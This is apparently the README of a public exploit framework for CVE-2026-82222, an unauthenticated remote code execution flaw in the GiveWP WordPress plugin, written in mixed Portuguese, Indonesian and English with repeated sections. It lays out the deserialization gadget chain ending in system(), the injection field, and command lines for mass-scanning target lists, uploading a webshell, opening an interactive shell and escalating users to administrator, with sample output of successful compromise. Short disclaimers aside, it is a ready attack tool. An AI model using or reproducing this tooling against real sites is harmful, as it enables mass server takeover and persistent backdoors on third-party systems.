Framework de exploração para CVE-2026-82222, uma RCE não autenticada no plugin GiveWP para WordPress. Suporta varredura em massa, detecção automática, multithreading, saída em JSON/TXT e shell interativo para testes autorizados.
CVE-2026-82222 - GiveWP Unauthenticated RCE Exploit
Mass Scanner + Auto-Detection + Multi-Threading + Interactive Shell
GHOSTLYR00T é um framework de exploit para CVE-2026-82222, uma vulnerabilidade de PHP Object Injection no plugin GiveWP do WordPress que permite Remote Code Execution (RCE) sem autenticação. A ferramenta suporta mass scanning, auto-detection e interactive shell.
🔴 CVSS 9.8 - CRITICAL
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Fitur | Deskripsi |
|---|---|
| Mass Scan | Scan ratusan target dari file (-f targets.txt) |
| Auto-Detection | Deteksi otomatis form ID, gateway, dan amount donasi |
| Multi-Threading | Scan paralel dengan thread configurable (--threads) |
| Check Mode | Fingerprint cepat tanpa exploit (--check) |
| JSON Output | Export hasil ke JSON (--json) |
| TXT Output | Export hasil ke TXT ringkas (--txt) |
| Interactive Shell | Upload webshell + terminal interaktif |
| Admin Escalation | Auto-escalate user ke administrator |
| Progress Bar | Monitor real-time proses scanning |
| Colored Output | Output dengan warna dan format profesional |
| Feature | Description |
|---|---|
| Mass Scan | Scan hundreds of targets from file (-f targets.txt) |
| Auto-Detection | Auto-detects form ID, gateway, and donation amount |
| Multi-Threading | Parallel scanning with configurable threads |
| Check Mode | Fast fingerprint without exploitation (--check) |
| JSON Output | Export results to JSON (--json) |
| TXT Output | Export results to TXT (--txt) |
| Interactive Shell | Upload webshell + interactive terminal |
| Admin Escalation | Auto-escalate user to administrator |
| Progress Bar | Real-time scan progress monitoring |
| Colored Output | Professional colored terminal output |
| Aspek | Detail |
|---|---|
| Affected Versions | GiveWP <= 4.16.7.1 |
| Patched Versions | GiveWP >= 4.16.7.2 |
| Attack Vector | Network (AV:N) |
| Privileges Required | None (PR:N) |
| Impact | Complete System Compromise |
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
# 1. Clone repository git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git cd GHOSTLYR00T # 2. Install dependencies pip install requests urllib3 # 3. Tes apakah berhasil python3 poc.py -h
# 1. Clone repository git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git cd GHOSTLYR00T # 2. Install dependencies pip install requests urllib3 # 3. Test if successful python3 poc.py -h
| Parameter | Fungsi | Contoh |
|---|---|---|
-f, --file | File target (batch mode) | -f targets.txt |
--threads | Jumlah thread (default: 4) | --threads 10 |
--json | Export hasil ke JSON | --json hasil.json |
--txt | Export hasil ke TXT | --txt hasil.txt |
-c, --command | Command yang dieksekusi | -c "id" |
-g, --gateway | Force gateway tertentu | -g stripe |
-a, --amount | Force amount donasi | -a 25.00 |
-t, --triggers | Retry attempts (default: 4) | -t 5 |
--timeout | Timeout per request (default: 30s) | --timeout 60 |
--check | Fingerprint only | --check |
--upload-shell | Upload webshell | --upload-shell |
-i, --interactive | Interactive terminal | -i |
-v, --verbose | Verbose output | -v |
--no-color | Disable colored output | --no-color |
| Parameter | Function | Example |
|---|---|---|
-f, --file | Target file (batch mode) | -f targets.txt |
--threads | Number of threads (default: 4) | --threads 10 |
--json | Export results to JSON | --json results.json |
--txt | Export results to TXT | --txt results.txt |
-c, --command | Command to execute | -c "id" |
-g, --gateway | Force specific gateway | -g stripe |
-a, --amount | Force donation amount | -a 25.00 |
-t, --triggers | Retry attempts (default: 4) | -t 5 |
--timeout | Request timeout (default: 30s) | --timeout 60 |
--check | Fingerprint only | --check |
--upload-shell | Upload webshell | --upload-shell |
-i, --interactive | Interactive terminal | -i |
-v, --verbose | Verbose output | -v |
--no-color | Disable colored output | --no-color |
python3 poc.py https://target.com -c "id"
python3 poc.py -f targets.txt --check --txt hasil_check.txt
python3 poc.py -f targets.txt -c "id" --threads 5 --json hasil.json --txt hasil.txt
python3 poc.py https://target.com -c "id" --upload-shell -i
python3 poc.py https://target.com -c "id" -v
python3 poc.py https://target.com -c "id"
python3 poc.py -f targets.txt --check --txt check_results.txt
python3 poc.py -f targets.txt -c "id" --threads 5 --json results.json --txt results.txt
python3 poc.py https://target.com -c "id" --upload-shell -i
python3 poc.py https://target.com -c "id" -v
CVE-2026-82222 GiveWP <= 4.16.7.1 unauthenticated RCE | PoC v2.2
target : https://target.com
form id : auto-discover
command : id
+ GiveWP 4.15.4 detected (vulnerable).
+ User "a1788868506" registered.
+ Gadget stored in account meta.
+ Discovered 13 form(s).
+ Success! Form 37256 / gateway paypal / amount 1.00
+ Session poisoned (HTTP 500).
+--- command output --------------------------------------------
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
+---------------------------------------------------------------
[+] SUCCESS. The target executed the command.
# GiveWP Vulnerability Scan Results (Fingerprint Mode) # Generated: 2026-09-09 12:00:00 # Total: 10 | Vulnerable: 4 | Exploited: 0 | Failed: 6 # # Format: TARGET | VERSION | STATUS # https://target1.com | 4.15.4 | VULNERABLE https://target2.com | 4.14.6 | VULNERABLE
{
"timestamp": 1694265600,
"mode": "exploit",
"total": 10,
"vulnerable": 4,
"exploited": 3,
"failed": 7,
"results": [
{
"target": "https://target1.com",
"status": "exploited",
"version": "4.15.4",
"command_output": "uid=33(www-data) gid=33(www-data)"
}
]
}
CVE-2026-82222 GiveWP <= 4.16.7.1 unauthenticated RCE | PoC v2.2
target : https://target.com
form id : auto-discover
command : id
+ GiveWP 4.15.4 detected (vulnerable).
+ User "a1788868506" registered.
+ Gadget stored in account meta.
+ Discovered 13 form(s).
+ Success! Form 37256 / gateway paypal / amount 1.00
+ Session poisoned (HTTP 500).
+--- command output --------------------------------------------
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
+---------------------------------------------------------------
[+] SUCCESS. The target executed the command.
readme.txt e give.phpgive_action=user_registerlast_namegive_last para acionar a desserialização# Gateway detection order
CANDIDATE_GATEWAYS = ['manual', 'offline', 'paypal', 'stripe', 'square',
'paypalexpress', 'authorize', 'razorpay', 'mollie']
Amount detection order
AMOUNT_TESTS = ['0.01', '1.00', '5.00', '10.00', '25.00', '50.00',
'100.00', '250.00', '500.00']
readme.txt e give.phpgive_action=user_registerlast_namegive_last para acionar a desserialização| Pergunta | Resposta |
|---|---|
| Quais versões do GiveWP são vulneráveis? | GiveWP <= 4.16.7.1. Versões 4.16.7.2 e superiores já foram corrigidas. |
Por que usar -a 25? | Alguns formulários têm valor mínimo (ex.: $25). A ferramenta detecta automaticamente, mas pode ser forçado. |
| Pode ser usado em produção? | NÃO. Apenas para testes autorizados. |
| Por que o registro falha (HTTP 200)? | O alvo pode ter o registro desativado, WAF ativo ou versão 4.16.6+. |
| Pergunta | Resposta |
|---|---|
| Quais versões do GiveWP são vulneráveis? | GiveWP <= 4.16.7.1. Versões 4.16.7.2 e superiores já foram corrigidas. |
Por que usar -a 25? | Alguns formulários têm valor mínimo. A ferramenta detecta automaticamente, mas pode ser forçado. |
| Pode ser usado em produção? | NÃO. Apenas para testes autorizados. |
| Por que o registro falha (HTTP 200)? | O alvo pode ter o registro desativado, WAF ativo ou versão 4.16.6+. |
ESTA FERRAMENTA É APENAS PARA PESQUISA DE SEGURANÇA!
⚠️ Ilegal: Acessar servidores sem permissão = crime
⚠️ Risco Legal: Viola leis de fraude informática
⚠️ Apenas uso autorizado: Testar seus próprios sistemas ou com permissão por escrito
⚠️ Responsabilidade: Os usuários são totalmente responsáveis pelo uso desta ferramenta
USE COM SABEDORIA E RESPONSABILIDADE!
ESTA FERRAMENTA É APENAS PARA PESQUISA DE SEGURANÇA!
⚠️ Ilegal: Acessar servidores sem permissão = crime
⚠️ Risco Legal: Viola leis de fraude informática
⚠️ Apenas uso autorizado: Testar seus próprios sistemas ou com permissão por escrito
⚠️ Responsabilidade: Os usuários são totalmente responsáveis pelo uso desta ferramenta
USE COM SABEDORIA E RESPONSABILIDADE!
Copyright © 2026 GhostlyrootB2H
Distribuído sob a licença MIT.
Copyright © 2026 GhostlyrootB2H
Distribuído sob a licença MIT.
GhostlyrootB2H
🐙 GitHub: @GhostlyrootB2H
🇮🇩 Obrigado por usar o GHOSTLYR00T!
Esta ferramenta é para aprendizado e testes de segurança.
Não use para atividades ilegais!
🇬🇧 Obrigado por usar o GHOSTLYR00T!
Apenas para aprendizado e testes de segurança.
Não use para atividades ilegais!